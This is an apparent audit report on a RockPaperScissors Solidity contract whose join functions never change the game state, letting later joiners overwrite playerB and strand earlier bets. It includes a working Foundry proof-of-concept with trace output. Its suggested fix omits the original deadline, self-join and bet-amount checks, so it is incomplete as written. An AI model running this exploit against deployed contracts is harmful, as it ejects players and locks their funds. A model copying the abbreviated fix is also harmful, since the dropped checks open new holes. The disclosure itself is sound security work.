Summary
The joinGameWithEth and joinGameWithToken functions in the RockPaperScissors contract do not update the game.state after successfully assigning playerB, leaving the state incorrectly as Created. This lack of a state transition allows multiple users to join the same game as playerB before the joinDeadline expires. Consequently, the original playerB can be overwritten by a subsequent joiner, leading to the original player being unfairly ejected and potential locking of funds in the contract.
Vulnerability Details
Location: RockPaperScissors.sol, functions joinGameWithEth(uint256) and joinGameWithToken(uint256).
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithToken(uint256 _gameId) external {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(game.bet == 0, "This game requires ETH bet");
require(winningToken.balanceOf(msg.sender) >= 1, "Must have winning token");
winningToken.transferFrom(msg.sender, address(this), 1);
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Description: When a user calls joinGameWithEth or joinGameWithToken to join an existing game:
The function checks if game.state == GameState.Created.
It performs other checks (not joining own game, deadline, correct bet/token).
If checks pass, it assigns the caller's address to game.playerB: game.playerB = msg.sender;
It emits a PlayerJoined event.
Crucially, after the game.playerB assignment, the code is missing a step to transition the game.state away from Created. It should be updated to reflect that the game now has two players (e.g., moving to GameState.Committed to signal readiness for the next phase, or potentially to a new GameState.Joined if one were defined). Because the state incorrectly remains GameState.Created, another user (playerC) calling the same join function for the same gameId before the joinDeadline will still pass the require(game.state == GameState.Created) check, allowing them to overwrite the game.playerB address.
Proof of Concept (PoC)
The following Foundry test (test_RejoinGameWithETH) demonstrates the vulnerability. Player A creates a game. Player B successfully joins. Then, Player C also successfully joins the same game, overwriting Player B's address in the game state.
Adding this function in RockPaperScissorsTest.t.sol :
function test_RejoinGameWithETH() public {
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
address playerB_from_game;
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
console.log("Player B joined game");
( , playerB_from_game, , , , , , , , , , , , , , ) = game.games(gameId);
console.log("game.playerB = ", playerB_from_game);
console.log("===========================");
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
console.log("Player C joined game");
( , playerB_from_game, , , , , , , , , , , , , , ) = game.games(gameId);
console.log("game.playerB = ", playerB_from_game);
}
In addition, you should modify setUp :
function setUp() public {
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
playerC = makeAddr("playerC");
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
vm.deal(playerC, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
vm.prank(address(game));
token.mint(playerA, 10);
vm.prank(address(game));
token.mint(playerB, 10);
vm.prank(address(game));
token.mint(playerC, 10);
}
After modifying RockPaperScissorsTest.t.sol, run it with
forge test --match-test "test_RejoinGameWithETH" -vvvv
The output logs:
$ forge test --match-test "test_RejoinGameWithETH" -vvvv
[⠊] Compiling...
[⠒] Compiling 2 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 47.90s
Compiler run successful with warnings:
Warning (2018): Function state mutability can be restricted to view
--> test/RockPaperScissorsTest.t.sol:896:5:
|
896 | function testOwnershipFunctions() public {
| ^ (Relevant source part starts here and spans across multiple lines).
Ran 1 test for test/RockPaperScissorsTest.t.sol:RockPaperScissorsTest
[PASS] test_RejoinGameWithETH() (gas: 274694)
Logs:
Player B joined game
game.playerB = 0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1
===========================
Player C joined game
game.playerB = 0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944
Traces:
[274694] RockPaperScissorsTest::test_RejoinGameWithETH()
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 100000000000000000}(3, 600)
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
├─ [24919] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] console::log("Player B joined game") [staticcall]
│ └─ ← [Stop]
├─ [8060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], 100000000000000000 [1e17], 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] console::log("game.playerB = ", playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("===========================") [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
│ └─ ← [Return]
├─ [0] VM::expectEmit(true, true, false, true)
│ └─ ← [Return]
├─ emit PlayerJoined(gameId: 0, player: playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
├─ [3019] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944])
│ └─ ← [Return]
├─ [0] console::log("Player C joined game") [staticcall]
│ └─ ← [Stop]
├─ [2060] RockPaperScissors::games(0) [staticcall]
│ └─ ← [Return] playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944], 100000000000000000 [1e17], 600, 0, 1, 86401 [8.64e4], 3, 1, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000, 0, 0, 0, 0, 0
├─ [0] console::log("game.playerB = ", playerC: [0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944]) [staticcall]
│ └─ ← [Stop]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.28ms (10.24ms CPU time)
Ran 1 test suite in 17.95ms (14.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
You can see that in
Logs:
Player B joined game
game.playerB = 0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1
===========================
Player C joined game
game.playerB = 0x9c63e4E4d35bE7f8b32b7b9cbD9d22B85952C944
game.playerB has been overwritten!
The logs confirm that playerB is initially set to Player B's address and subsequently overwritten by Player C's address.
Impact
Unfair Player Ejection: The first player to join as playerB can be silently kicked out of the game by any subsequent user who joins before the deadline. The original Player B loses their chance to participate.
Locked Funds (ETH Games): When joinGameWithEth is called multiple times, the contract accepts and holds the bet amount from each joining player (the original Player B, the overwriting Player C, etc.). However, the game logic in _finishGame and _handleTie only distributes or refunds funds based on game.bet * 2 relative to the final playerA and playerB. Funds sent by ejected players (like the original Player B) remain locked in the contract indefinitely, as there is no mechanism to return them.
Game Integrity: The game proceeds with an unintended opponent (playerC instead of the original playerB), compromising the intended matchup.
Griefing: Malicious actors could monitor game creation and intentionally join games to kick out legitimate players.
Tools Used
Foundry (Forge): Used for compiling the smart contract and running tests.
Forge Test: Used to execute the Proof of Concept test case (test_RejoinGameWithETH).
Manual Code Review: Initial identification of the missing state update in the join functions.
Console Logging (in Test): Used to observe the value of game.playerB changing during the PoC execution.
Recommendations
To fix this vulnerability, the game.state must be updated immediately after a player successfully joins to prevent subsequent calls from passing the require(game.state == GameState.Created) check.
Modify the joinGameWithEth and joinGameWithToken functions. Add a state update after game.playerB = msg.sender;:
joinGameWithEth Fix Example:
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
game.playerB = msg.sender;
game.state = GameState.Committed;
emit PlayerJoined(_gameId, msg.sender);
}
